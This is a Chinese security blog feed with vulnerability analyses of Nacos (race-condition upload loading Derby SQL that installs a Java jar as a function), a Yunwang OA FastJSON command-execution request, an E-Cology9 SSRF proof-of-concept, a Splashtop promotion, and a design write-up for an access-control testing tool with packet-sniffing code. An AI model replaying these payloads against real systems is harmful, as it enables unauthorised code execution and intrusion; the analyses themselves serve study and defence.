UzzzzZ

Nacos RCE漏洞分析

Fri, 19 Jul 2024 14:35:00 +0800

漏洞简介

Nacos 是一个开源的、易于使用的动态服务发现、配置和服务管理平台，用于构建云原生应用。它提供了一套简单易用的特性集，用于服务发现和服务健康监测，以及动态配置服务、服务元数据和流量管理。

漏洞描述

RCE（Remote Code Execution，远程代码执行）漏洞是指攻击者能够在远程服务器上执行任意代码的安全漏洞。此类漏洞通常会让攻击者完全控制受影响的系统，导致严重的安全问题。

影响范围

Alibaba-Nacos:version<=2.3.2受影晌。

漏洞复现

用Github公开的exp可以复现该漏洞。

漏洞分析

从exp可以看出来，本次漏洞涉及2个接口

/nacos/v1/cs/ops/derby
/nacos/v1/cs/ops/data/removal

这里是存在2个漏洞，1个是SQL注入，1个是文件上传，也就是条件竞争。
由于Nacos默认部署是没有鉴权的，在未配置的情况下，这里也可以未授权。

SQL注入漏洞来源于：https://github.com/alibaba/nacos/issues/10613

这里主要比较有意思的是这个文件上传的过程

核心在com.alibaba.nacos.core.utils.WebUtils#onFileUpload，这里在创建文件之后

会调用Consumer.accept，发布一个处理逻辑，表示文件处理开始。

随后在dataImport中，针对file对象里面的内容进行遍历，随后执行SQL。

核心的逻辑就在这，
前面的模型是，生产者，和消费者，那么Consumer这个消费者，执行前是同步的，但是在调用文件处理的时候，调用了一个异步处理，但是又没有等待异步处理完毕，然后就执行了finally里面的删除DiskUtils.deleteQuietly(tmpFile);删除了临时文件，这就导致了会发生在处理时找不到文件的问题。
例如下面这张图这样。

那么只要让这里执行阻塞就可以了，通过大量的上传，让这里阻塞，就能够让异步执行的时候，有几率找到恶意的文件，然后进行SQLBatch导入。

com.alibaba.nacos.core.persistence.DistributedDatabaseOperateImpl#dataImport 主要是把文件内容拿出来然后执行batchSQL

比如，成功的情况下，就会把SQL取出来，加入到batchSQL中

随后通过doDataImport导入

所以漏洞原理可以概括为：有这样一个功能，初衷是希望用户能够上传文件，且文件被异步的处理（我个人认为这里功能也有bug，因为就算正常用户去上传，也会执行finally导致文件删除，文件上传失败），通过条件竞争的方式，大量上传请求，导致这里阻塞，生产者创建了文件，但是还没来得及删，异步开始处理，导致把恶意的derby sql导入了数据库，导致了UDF问题。

疑问解答

1、为什么可以UDF
我影响中，默认部署，想要利用MYSQL的UDF，好像不是一件简单的事情，需要有一些配置条件，在看到这个漏洞的时候可以UDF执行命令，这是让我比较疑惑的。
其实主要是因为，默认情况下，使用的是apache的derby数据库，这是一个Java写的数据库，
derby数据库是支持调用Java的方法的。

CALL SQLJ.INSTALL_JAR('file:///path/to/mypackage/MyFunctions.jar', 'APP.MyFunctionsJar', 0);

也就是poc中的这一段

post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n  
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n  
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);

2、这个漏洞是怎么来的？
利用条件竞争实现UDF的导入创建，随后利用一个以往发现的功能去执行SQL，导致了RCE。

漏洞排查

1、影响版本
Alibaba-Nacos:version<=2.3.2受影晌。

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE

Fri, 12 Jul 2024 10:22:47 +0800

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE

基本信息

Gitee地址：https://gitee.com/bestfeng/oa_git_free
部署文档：http://partner.yimihome.com/static/index.html#/index/idea_deploy8

功能点

src/main/java/com/cloudweb/oa/controller/ApplicationController.java

低版本FastJSON

为什么会存在未授权，因为Filter的配置，这个oa，对于filter chain有点多，有基于spring security，也有原生的Dofilter，感觉偶尔的Chain会乱

这里不登录也是可以访问的

漏洞复现

POST /oa/setup/updateUiSetup?applicationCode=1&uiSetup=payloadHTTP/1.1
Host: 127.0.0.1:8880
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Priority: u=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 18
cmd:whoami

泛微E-Cology9 getFileViewUrl SSRF漏洞分析

Thu, 11 Jul 2024 11:40:39 +0800

漏洞描述

泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微E-Cology getFileViewUrl 接口处存在服务器请求伪造漏洞，未经身份验证的远程攻击者利用此漏洞扫描服务器所在的内网或本地端口，获取服务的banner信息，窥探网络结构，甚至对内网或本地运行的应用程序发起攻击，获取服务器内部敏感配置，造成信息泄露。

影响泛微

上海泛微网络科技股份有限公司-泛微协同管理应用平台 E-cology9
- 已复现版本： 2303.02

漏洞复现

poc

{"file_id":"1",
"file_name":"1",
"download_url":"xxxx poc url",
"client_type":"1",
"isCopy":"1",
"user_id":"1"}

POST /api/doc/mobile/fileview/getFileViewUrl HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: 
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Origin:
Connection: keep-alive
Cookie: 
Priority: u=4
Content-Length: 135

{"file_id":"1",
"file_name":"1",
"download_url":"xxxx",
"client_type":"1",
"isCopy":"1",
"user_id":"1"}

漏洞分析

com.api.doc.mobile.fileview.web.FileViewAction#getFileViewUrl

把JSON转为Map后，给到Execute
com.api.doc.mobile.fileview.cmd.FileViewCmd#execute

其中获取的DownloadUrl，就直接通过Map获取，给到null2String3
下面主要是判断Prop下的一些配置

需要满足第一个if，需要配置中的数字为1

我这边都没有配置，所以会走下面的else，不管这里走哪个分支，都可以到对应的Sink，造成SSRF

s3这个参数是我们的可控污点。
com.api.doc.mobile.fileview.cmd.FileViewCmd#getSocialFileViewUrlForYz(java.lang.String, java.lang.String, java.lang.String, int, java.util.Map<java.lang.String,java.lang.String>)

0，1，参数不为空的情况下，则会进入这里的流程。
com.api.doc.detail.util.ImageConvertUtil#doConvertForSocial(java.lang.String, java.lang.String, int, java.util.Map<java.lang.String,java.lang.String>)

我们进入com.api.doc.detail.util.ImageConvertUtil#doConvert

在这里获取了map中的filedownloadUrl，并调用com.api.doc.detail.util.ImageConvertUtil#downloadUrl

如果上述配置是1的情况下
在com.api.doc.mobile.fileview.cmd.FileViewCmd#execute进入

调用链路可能就短一点了。

修复方案

1、升级泛微版本

"限时福利：Splashtop 免费送一年高级远程支持服务，价值990元"

Mon, 08 Jul 2024 23:02:34 +0800

我在22年记得发过一篇文章：ipad远程MacBookPro远程办公的终极解决方案，在文章中我大致对比了不同远程软件在Ipad远程MacBookPro时，是否能够完全支持触控板，秒控键盘之间的支持与兼容。

在当时Splashtop这款远程软件，无疑是在此场景下最适配与兼容最完美的软件，现在也是24年了，陆陆续续我也用了这款软件2年了，目前来看，相较于Todesk，向日葵，M1 Mac的客户端总是闪退错误，Splashtop在Mac和Windows相互远程上，确实做到的最好的兼容性。

现在Splashtop这款远程软件现在免费赠送一年专业商业远程支持软件「Splashtop SOS」，价值990元！没有套路，没有任何前置条件，直接送！

领取方式：微信搜索「splashtopcn」，关注「Splashtop服务号」，回复「免费SOS+账户」，Splashtop 就会送你一年 SOS 软件。

还没注册账户的，访问官网 https://my.splashtop.com/signup 可以快速注册。

Splashtop SOS 无需安装，即下即用，通过一个9位连接码即可快速连接远端设备。

作为一款商业版远程支持软件，Splashtop SOS 拥有如下专业功能，你可以在使用过程中继续探索。

Splashtop 更多商业版软件

除了 SOS，针对不同应用场景，Splashtop 还有几款强大的商业版远程软件。

Splashtop Business Access

一款高性能远程桌面控制软件，适合需要长期稳定远程连接的公司或个人使用。

Splashtop Business Access 属于无人值守的远程控制软件，一般用来远程操控自己的设备，适合远程办公等场合。Splashtop SOS 属于有人值守的远程支持软件，一般用于远程支持和协助他人，被控端有人值守。这是两者的区别。

Splashtop Enterprise

为大型企业的 IT 运维、托管服务供应商（MSP）提供远程运维能力。在提供远程桌面访问能力之外，也包含终端管理能力，例如操作系统更新管理、系统安全管理、系统日志汇总、资产管理等功能。

Splashtop On-Prem

Splashtop On-Prem 是 Splashtop Enterprise 的本地部署版本，可以完全自托管在企业网络内部，提供集中式数据库和网页管理控制台。通过本地化部署，企业可以将 Splashtop On-Prem 部署在企业内部或云平台上，所有用户数据都保留在企业内部。

如有需要，可以访问官网「splashtop.cn」了解和免费体验上述产品。

Splashtop 软件特性

1、高性能高画质

Splashtop 一直以高性能赢得客户口碑，支持 4K 分辨率、60 FPS 帧率，延迟很低，可以带来媲美真机的沉浸式远程访问体验。特别适合需要高分辨率图形和流畅画面的行业，比如影视、动画和建筑设计。

2、全平台支持

Splashtop 拥有广泛的设备支持，你几乎可以使用任意智能设备进行远程连接，支持 Windows、Mac、Linux、iOS、Android 等主流平台。

3、安全可靠

Splashtop 一直投入大量技术资源来提高软件安全性，提供了包括：双因素认证、黑屏、空闲会话超时、远程连接通知、会话审计记录等众多安全功能。软件至今已安全运行 19 年，从未爆出安全漏洞。

Splashtop 始终将软件安全和用户隐私放在首位，所有的远程会话均受 TLS 和 256 位 AES 加密技术保护。软件符合 GDPR、SOC2、FERPA 等主要的安全合规性要求，能够保护所有用户信息安全并保持数据的机密性、完整性和可用性。

4、功能全面

Splashtop 软件具备完善的专业功能，如文件传输、远程打印，团队管理、多显示器支持、聊天、共享屏幕、远程重启、会话录制等，全方位满足你的功能需求。还有更专业的远程触控笔、USB 设备重定向、麦克风直通、超高质量音频、4:4:4 色彩等功能，尤其适合建筑、设计、影视后期等行业。

Splashtop 简介

Splashtop Inc. 成立于 2006 年，总部位于硅谷，在杭州、台北、东京、新加坡、阿姆斯特丹等地设有分支机构。

19 年来，Splashtop 产品一直安全稳定运营，以良好的产品和服务受到全球 3000 万用户、25万企业的信赖，包括 85% 的世界 500 强企业。2024 年，Splashtop 公司以 71 亿人民币的企业估值入选《2024·胡润全球独角兽榜》。

未授权与垂直/水平越权(IDOR)检测实现方案

Fri, 13 Oct 2023 14:06:01 +0800

未授权与垂直/水平越权(IDOR)检测实现方案

TODO

1、去重通过接口进行去重

防止水平越权时参数不一致导致的同一个URL重复问题

2、黑名单配置

让用户选择可以配置黑名单来禁止检测指定URL

3、白名单配置

让用户选择可以配置白名单来检测指定URL
检测host白名单配置，可以通过通配符的方式来匹配指定域名

4、多任务

如果同时存在多个任务如何处理，来区分不同任务所对应的cookie以及域名

越权(IDOR)

1、越权漏洞与逻辑漏洞的边界

一直以来，非安全人员甚至安全人员都难以区分越权和逻辑漏洞的差异在哪，什么可以认定为越权漏洞，什么可以认定为是逻辑漏洞，我这里举几个例子，来详细介绍，如何理解越权与逻辑漏洞。

1.1、首先什么是越权漏洞

目前越权分为两种类型

水平越权
垂直越权

1.2、什么是垂直越权

其中垂直越权可以理解为，正常的业务流程是一个管理员拥有后台管理的所有权限，在这个后台中有用户鉴权体系，可以新增其他角色/权限的账号登录后台，分配对应的权限则拥有对应接口与页面的访问权限。

例如后台功能如下

商户管理
订单管理
用户管理
日志审计

如果此时新建一个普通用户账号，只分配1个日志审计功能

账号：test

那么从业务角度上来说当前test用户就只能拥有日志审计查看的权限，但是在大量的企业研发的案例中会发现，内部对于权限梳理上并没有做的非常细致，这就导致了，可能商户管理的某个接口，可以让test用户访问到，此时就造成了垂直越权。

1.3、什么是水平越权

水平越权的理解上也比较容易，水平从字面理解是一个平面，水平线，那么代入到权限中是A与B用户拥有同一个权限，例如一个商城，A是一个用户，B也是一个用户，A在网站上购买一个口罩，订单的ID为：1（如果订单ID是递增的方式的话），那么B在网站上也购买一个口罩，订单ID为：2，那么此时如果B想通过查询订单的接口，试试把ID：2改为ID：1，是否可以查询到A账号的订单信息呢？

如果此时查询成功，则代表，存在水平越权的漏洞。

订单增删改查
地址增删改查
发票增删改查
等……

从这张图上可以看到，垂直越权是从下至上的漏洞方式，作为一个普通用户，我无法访问的数据，没有权限的数据，我可以通过查找JS，Fuzz参数等方式查询到该接口的数据，即可以认定为存在垂直越权漏洞。

那么水平越权则是从同一个权限获取到同一个权限的其他用户信息，则称为水平越权。

1.4、什么是逻辑漏洞

为什么我会认为逻辑漏洞可以与越权漏洞分开理解，原因如下：

首先举一个例子，来看一下什么是逻辑漏洞

以下取自火线众测后台漏洞案例

1.4.1、案例一

快手APP上有一个通讯录获取好友的功能，通过该功能可以获取手机通讯录中有多少个好友正在使用快手APP，可以直接查询到账号，那么我们换一个角度来想，如果使用生成器，生成很多的手机号码，放入到通讯录中，再打开快手的APP，那么是否就已经反向知道对应的快手账户的手机号码是多少了呢？

1.4.2、案例二

现在使用Keep购买一个健身用品，例如一个手环，需要支付200元，但是购买健身用品的同时会赠送一些赠品，例如赠送蜡烛，毛巾等，那么每一个商品都会存在SKUid，那么此时就可能会存在一个问题，我首先将手环加入到购物车，在购物车正常选择赠品，例如现在选择一个蜡烛，随后点击提交的时候，将蜡烛的SKUID替换为一个价值1000元的手表的SKUID，如果存在逻辑漏洞，是否就下单购买成功，只需要支付200元就可以获得1个手环和1个价值1000元的手表。

1.4.3、案例三

任意用户注册的逻辑场景，现在正常走注册的逻辑流程，输入账号，密码，手机号，但是我希望使用别人的手机号码进行注册，但是我又无法知道验证码是什么，那么此时提交错误的验证码，收到的返回肯定是验证码不正确，但是如果修改响应包呢？

例如上图，将success和code都修改成0和true，那么此时可能会跳过验证码校验，让前端的UI进入到下一步

那么此时设置登录的账号，昵称，设置密码，确认密码，点击下一步应该就是注册成功

随后发现账号是可以正常登录成功的，那么此时考虑一个问题，这里到底是手机验证码验证的接口出现了问题，还是注册接口出现了问题？

正常的业务逻辑

上面的这张图中间其实应该加一个校验，应该如下才是对的

这里其实会存在一个问题，那么也就是如果有人强制修改响应包来修改前端跳转的逻辑的话，如果没有做校验，也会存在问题，比如发送了验证码之后，我输入123456，随后修改这个请求的响应包，将返回的False修改为True，那么也能来到下面的注册逻辑

存在漏洞的业务逻辑

其实除了上述验证码爆破，修改响应包后走下一步逻辑并且注册接口并未校验验证码这两个问题之外，还有一个比较少见的逻辑问题

1、先正常走一遍业务登录注册逻辑

1、输入正确验证码
2、服务端校验后返回Token/成功的参数(遇到过输入正确验证码之后返回一段Token，并在注册的时候会带上这个token)，把这里的响应包复制下来（这里称为正确的响应包）

2、走恶意的业务登录注册逻辑

1、输入错误验证码
- 2、拦截响应包（这里的响应包称为错误的响应包)
  - 3、将正确业务逻辑的响应包的token或者整个正确的响应包替换这个错误的响应包
    - 4、随后继续走业务注册逻辑，也会注册成功

上述的这个逻辑问题，我认为本质就把这里的token当做一个令牌了，服务端不在乎是谁申请的这个令牌，只校验了谁有这个令牌，这个令牌是否有效，如果有效就通过即可，最终就会导致问题。
那么哈罗这里的根本原因是，/merchant/register/registerAccount这个接口未对验证码进行校验，

因为拿软件暴力破解举一个例子，在软件启动时会提示用户是否注册，如果没有就无法使用，那么可以直接将汇编代码中的JNZ等判断修改为强制的JMP，这样如果没有其他校验，就可以正常使用软件功能

这里的本质问题还是开发者无法防止用户去修改一些前端显示逻辑，但是可以在注册接口（也就是/merchant/register/registerAccount进行校验）这样哪怕用户强制修改前端逻辑，甚至在JS中fuzz或直接构造参数请求该接口，都会提示验证码错误，无法注册。

Tips: 这里需要注意的是，开发者不仅仅只是校验验证码是否有效，因为如果只校验验证码是否有效的话，那么我随便用一个手机号码发一个有效的验证码都可以使用，这样是不行的，应该还需要判断，该验证码是否属于该手机号码，并且是否有效（这里可能会说，例如腾讯百度这种用户基数特别大的，是否会出现验证码重复的概念呢？大概率是会的，不过验证码使用后失效即可）

2、垂直/水平越权漏洞产生的主要原因与场景

2.1、垂直/水平越权漏洞产生的主要原因

比较通用的说法

通常情况下，一个 Web 程序功能流程是登录 - 提交请求 - 验证权限 - 数据库查询 - 返回结果。如果验证权限不足，便会导致越权。常见的程序都会认为通过登录后即可验证用户的身份，从而不会做下一步验证，最后导致越权。

1、通过隐藏 URL

实现控制访问有些程序的管理员的管理页面只有管理员才显示，普通用户看不到，利用 URL 实现访问控制，但 URL 泄露或被恶意攻击者猜到后，这会导致越权攻击。

2、直接对象引用

这种通过修改一下参数就可以产生水平越权，例如查看用户信息页面 URL 后加上自己的 id 便可查看，当修改为他人的 ID 号时会返回他人的信息，便产生了水平越权。

3、多阶段功能

多阶段功能是一个功能有多个阶段的实现。例如修改密码，可能第一步是验证用户身份信息，号码验证码类的。当验证成功后，跳到第二步，输入新密码，很多程序会在这一步不再验证用户身份，导致恶意攻击者抓包直接修改参数值，导致可修改任意用户密码。

4、静态文件

很多网站的下载功能，一些被下载的静态文件，例如 pdf、word、xls 等，可能只有付费用户或会员可下载，但当这些文件的 URL 地址泄露后，导致任何人可下载，如果知道 URL 命名规则，则会便利服务器的收费文档进行批量下载。

5、平台配置错误

一些程序会通过控件来限制用户的访问，例如后台地址，普通用户不属于管理员组，则不能访问。但当配置平台或配置控件错误时，就会出现越权访问。

2.2、会有哪些场景？

2.2.1、垂直越权

垂直越权出现的位置，更多的在管理后台，并且管理后台有用户鉴权体系，特别是在同一个管理后台中还存在，商户，用户，管理员，多种用户的角色和关系，这类型的场景出现垂直越权的可能性是最大的。

2.2.2、水平越权

水平越权出现的位置相对来说比较普遍，例如一个商城，购物APP，发票网站等等，在订单，地址，发票，用户信息，收藏店家，删除订单等位置是最容易出现水平越权的地方，并且很多研发写代码比如一个订单号，是使用一个可递增遍历的数字来表示订单，例如订单ID为1,2,3,4,5以此类推，那么如果此时遍历这个订单ID，就有可能获取到其他用户的订单信息。

3、越权漏洞检测实现的难点

目前这个版本的越权和未授权检测是我重构之后的（代码工程能力不强），早些的一个版本也是使用mitmproxy来实现的HTTP/S的监听，但是发现，mitmproxy使用addons = [CaptureInfoWriteFile()]的方式来实现request和response有一个问题是会出现阻塞的情况，特别是越权需要去解析一个HTTP/S请求，然后替换token请求的，那么此时在替换token请求这一步操作上很容易发生阻塞的情况，导致正常的功能测试页面一直无法返回。

当前重构的版本，采用asyncio异步的方式来实现的异步，每一次都会新增一个异步线程任务，使用后会清除当前线程任务。

目前主要实现的难点有以下几项

1、垂直越权

垂直越权的实现相对简单很多，只需要将原始请求与修改后的请求的响应包进行差异值比较即可

但是也无法避免

如果接口对于用户鉴权体系来说是公共的如何识别？

2、水平越权

水平越权的实现相对就比较难，可以使用替换两个权限相同的token来进行差异值的比较，但是如果接口是

目前主要实现

1、如何解决参数识别问题（已解决）

RESFUL HTTP参数识别（已解决）
2、如何解决规则库，使用什么解决方法来让保证规则库的通用性和可扩展性
3、如何自动化识别不同的权限校验头（已解决）
4、如何解决参数加密场景的问题

6、是否要采用数据持久化方案使用sqlit or mysql or mongodb or redis
7、不同请求替换参数 Cookie后请求响应如何判断差异性，如余弦相似度判断，相似度应该控制在多少合适？是否有更好的算法解决该问题
8、自动化登录防止cookie失效

4、如何使用现有的方案来实现越权检测

4.1、余弦相似度判断差异性

5、实践落地

针对所有的场景包括代码的编写，都是针对真实场景进行编写，不涉及靶场。

5.1、拉卡拉

5.2、享道出行

5.3、字节SRC

5.4、自如

https://i0x0fy4ibf.feishu.cn/wiki/wikcnz28wEH6ifNAsD7CVSO0Atd

未授权访问

1、为什么会出现未授权

未授权的场景可以理解为：访问一个接口，将cookie/token删除，重新请求接口如果还是存在数据返回，则存在未授权访问。

但是未授权又分三个场景

1、后端没有对请求的cookie/token进行校验就走了业务逻辑流程导致返回了数据

2、后端判断了当前请求是否带有cookie/token，但是没有判断当前token/cookie是否有效

3、后端判断了当前请求是否带有cookie/token，但是没有判断当前的token/cookie是否有权限访问这个数据

这里有点像越权的范畴，需要清晰了解未授权与越权漏洞的边界

2、未授权检测实现方案

例如这是一个正常请求头

Headers[(b'Host', b'172.20.10.5:8109'), (b'User-Agent', b'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/111.0'), (b'Accept', b'*/*'), (b'Accept-Language', b'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'), (b'Accept-Encoding', b'gzip, deflate'), (b'Connection', b'keep-alive'), (b'Cookie', b'session=eyJ1c2VyaWQiOjI3LCJ1c2Vycm9sZWlkIjo5OX0.ZCQjlw.IqMSJjOnlony_c1gtf18URKrGMU')]

此时存在cookie这个键值对，如果此时将cookie删除

[(b'Host', b'172.20.10.5:8109'), (b'User-Agent', b'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/111.0'), (b'Accept', b'*/*'), (b'Accept-Language', b'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'), (b'Accept-Encoding', b'gzip, deflate'), (b'X-Requested-With', b'XMLHttpRequest'), (b'Connection', b'keep-alive'), (b'Referer', b'http://172.20.10.5:8109/usermanager')]

通过计算返回值的余弦相似度就可以获得想要的结果。

越权实现方案二

上述方案存在部分缺点

1、需要用户配置代理

2、需要用户手动配置账号token

这在甲方安全建设推动中会极大的影响效率以及安全部门推进的速度。

实现方案二主要解决了上述2个问题。

1、GoLang gopacket实现

1.1、实现方式一

1.1、获取HTTP请求

package main

import (
    "fmt"
    "github.com/google/gopacket"
    "github.com/google/gopacket/layers"
    "github.com/google/gopacket/pcap"
    "log"
    "time"
)

func main() {
    const (
        // 网络设备
        EthDev string = "eth0"
        // 抓取数据长度
        SnapLen int32 = 65535
        // 是否开启混合模式，混合模式就是不属于本网卡IP的流量
        Promisc bool = false
        // 展示细节的时间
        Timeout time.Duration = time.Second * 3
        // 抓取端口
        DstPort layers.TCPPort = 8088
    )
    // 对网卡流量进行实时捕获
    handler, err := pcap.OpenLive(EthDev, SnapLen, Promisc, Timeout)
    if err != nil {
        log.Fatalln(err)
    }
    defer handler.Close()
    // 获取包源
    source := gopacket.NewPacketSource(handler, handler.LinkType())
    var isApp bool
    for pk := range source.Packets() {
        // 网络四层模型
        // LinkLayer returns the first link layer in the packet
        // LinkLayer() LinkLayer
        // NetworkLayer returns the first network layer in the packet
        // NetworkLayer() NetworkLayer
        // TransportLayer returns the first transport layer in the packet
        // TransportLayer() TransportLayer
        // ApplicationLayer returns the first application layer in the packet
        // ApplicationLayer() ApplicationLayer

        isApp = false
        if layer := pk.TransportLayer(); layer != nil {
            if tcpLayer, ok := layer.(*layers.TCP); ok && tcpLayer.DstPort == DstPort {
                fmt.Println()
                fmt.Printf("TCP Payload: %s\n", string(tcpLayer.Payload))
                fmt.Printf("TCP ContentsLenght: %d \n", len(tcpLayer.Contents))
                fmt.Println(pk.String())
                if len(tcpLayer.Payload) > 0 {
                    isApp = true
                }
            }
        }

        if isApp {
            if appLayer := pk.ApplicationLayer(); appLayer != nil {
                fmt.Println("APP Contents:", string(appLayer.LayerContents()))
                fmt.Println("APP Contents Length:", len(appLayer.LayerContents()))
            }
        }
    }
}

基础实现Demo如上代码示例

可以获取HTTP请求

1.2、获取HTTPS请求

暂时没找到实现HTTPS的方案

1.2、实现方式二

package main

import (
    "fmt"
    "log"
    "os"
    "os/signal"
    "strings"
    "syscall"

    "github.com/google/gopacket"
    "github.com/google/gopacket/pcap"
)

func main() {
    handle, err := pcap.OpenLive("any", 1600, true, pcap.BlockForever)
    if err != nil {
        log.Fatal(err)
    }
    defer handle.Close()

    filter := "tcp"
    if err := handle.SetBPFFilter(filter); err != nil {
        log.Fatal(err)
    }

    packetSource := gopacket.NewPacketSource(handle, handle.LinkType())

    sigChan := make(chan os.Signal, 1)
    signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)

    fmt.Println("Starting packet capture...")
    for {
        select {
        case packet := <-packetSource.Packets():
            // 检查数据包是否是HTTP请求
            if appLayer := packet.ApplicationLayer(); appLayer != nil {
                payload := appLayer.Payload()
                if bytesContain(payload, []byte("HTTP")) {
                    // 解析HTTP请求的Header
                    headers := parseHTTPHeaders(payload)
                    fmt.Println("=== HTTP Request Headers ===")
                    for name, value := range headers {
                        fmt.Printf("%s : %s\n", name, value)
                    }
                    fmt.Println("=============================")
                }
            }
        case <-sigChan:
            fmt.Println("Stopping packet capture...")
            return
        }
    }
}

func bytesContain(source, target []byte) bool {
    for i := 0; i <= len(source)-len(target); i++ {
        if bytesEqual(source[i:i+len(target)], target) {
            return true
        }
    }
    return false
}

func bytesEqual(a, b []byte) bool {
    if len(a) != len(b) {
        return false
    }
    for i, v := range a {
        if v != b[i] {
            return false
        }
    }
    return true
}

func parseHTTPHeaders(payload []byte) map[string]string {
    headers := make(map[string]string)
    lines := strings.Split(string(payload), "\r\n")
    for _, line := range lines {
        parts := strings.SplitN(line, ": ", 2)
        if len(parts) == 2 {
            headers[parts[0]] = parts[1]
        }
    }
    return headers
}

该实现放在调用pcap.OpenLive的时候传入了any表示所有的网卡流量都采集，并且在fillter只选择TCP，也就最后是HTTP的流量。

2、Python Scapy实现

2.1、实现方式一

该实现方式可以让用户准确配置，采集的端口和网卡

# -*- coding: utf-8 -*-
# @Time    : 2023/8/11 10:17
# @Author  : UzJu
# @Site    : UzzJu.com
# @File    : py_snniffer.py
# @Software: PyCharm 
# @Comment : :)
# ! /usr/bin/env python3
from scapy.all import *


def http_header(packet):
    http_packet = str(packet)
    if "GET" in http_packet:
        return GET_print(packet)


def GET_print(packet1):
    ret = "***************************************GET PACKET****************************************************\n"
    ret += "\n".join(packet1.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
    ret += "*****************************************************************************************************"
    print(ret)


def main():
    sniff(iface="en0", prn=http_header, filter="tcp port 6234")


if __name__ == '__main__':
    main()

2.2、实现方式二

from scapy.all import *


def process_packet(packet):
    if packet.haslayer(TCP) and packet.haslayer(Raw):
        payload = packet[Raw].load.decode('utf-8', errors='ignore')
        if 'HTTP' in payload:
            http_headers = payload.split('\r\n\r\n')[0].split('\r\n')[1:]
            print("=== HTTP Request Headers ===")
            for header in http_headers:
                print(header)


def main():
    sniff(filter='tcp', prn=process_packet, store=0)


if __name__ == "__main__":
    main()

这种实现方式，只采集HTTP流量，并且输出，也就意味着会无差别的采集服务器上所有端口的HTTP流量(不包含HTTPS)。

相较于实现方式一的好处是用户无需配置，安装agent即可。

3、具体实现

package main

import (
    "encoding/json"
    "fmt"
    "log"
    "os"
    "os/signal"
    "strings"
    "syscall"

    "github.com/google/gopacket"
    "github.com/google/gopacket/pcap"
)

type RequestHttpHeaders struct {
    Method  string
    URL     string
    Headers map[string]string
    Body    string
}

type ResponseHttpHeaders struct {
    Headers map[string]string
    Body    string
}

type HTTPRequestResponse struct {
    Request  HTTPHeaders `json:"request"`
    Response HTTPHeaders `json:"response"`
}

type HTTPHeaders struct {
    Method    string            `json:"method"`
    URL       string            `json:"url"`
    Headers   map[string]string `json:"headers"`
    Body      string            `json:"body"`
    IsRequest bool              `json:"-"`
}

func main() {
    handle, err := pcap.OpenLive("any", 65535, true, pcap.BlockForever)
    if err != nil {
        log.Fatal(err)
    }
    defer handle.Close()

    filter := "tcp"
    if err := handle.SetBPFFilter(filter); err != nil {
        log.Fatal(err)
    }

    packetSource := gopacket.NewPacketSource(handle, handle.LinkType())

    sigChan := make(chan os.Signal, 1)
    signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)

    var requestsResponses []HTTPRequestResponse

    fmt.Println("Starting packet capture...")
    for {
        select {
        case packet := <-packetSource.Packets():
            if appLayer := packet.ApplicationLayer(); appLayer != nil {
                payload := appLayer.Payload()
                if bytesContain(payload, []byte("HTTP")) {
                    headers, body := parseHTTPHeaderAndBody(payload)
                    isRequest := strings.Contains(string(payload), "GET") || strings.Contains(string(payload), "POST")

                    httpHeaders := HTTPHeaders{
                        Method:    getRequestMethod(payload),
                        URL:       getRequestURL(payload),
                        Headers:   headers,
                        Body:      body,
                        IsRequest: isRequest,
                    }

                    if isRequest {
                        requestsResponses = append(requestsResponses, HTTPRequestResponse{
                            Request:  httpHeaders,
                            Response: HTTPHeaders{},
                        })
                    } else {
                        lastIdx := len(requestsResponses) - 1
                        if lastIdx >= 0 {
                            requestsResponses[lastIdx].Response = httpHeaders
                        }
                    }
                }
            }
        case <-sigChan:
            fmt.Println("Stopping packet capture...")

            data, err := json.MarshalIndent(requestsResponses, "", "  ")
            if err != nil {
                log.Fatal(err)
            }
            if err := os.WriteFile("requests_responses.json", data, 0644); err != nil {
                log.Fatal(err)
            }

            return
        }
    }
}

func bytesContain(source, target []byte) bool {
    for i := 0; i <= len(source)-len(target); i++ {
        if bytesEqual(source[i:i+len(target)], target) {
            return true
        }
    }
    return false
}

func bytesEqual(a, b []byte) bool {
    if len(a) != len(b) {
        return false
    }
    for i, v := range a {
        if v != b[i] {
            return false
        }
    }
    return true
}

func parseHTTPHeaderAndBody(payload []byte) (map[string]string, string) {
    headers := make(map[string]string)
    lines := strings.Split(string(payload), "\r\n")
    var body string
    for i, line := range lines {
        if line == "" {
            body = strings.Join(lines[i+1:], "\r\n")
            break
        }
        parts := strings.SplitN(line, ": ", 2)
        if len(parts) == 2 {
            headers[parts[0]] = parts[1]
            if parts[0] == "Host" && strings.HasPrefix(parts[1], "http") {
                headers["Method"] = strings.Fields(lines[i+1])[0]
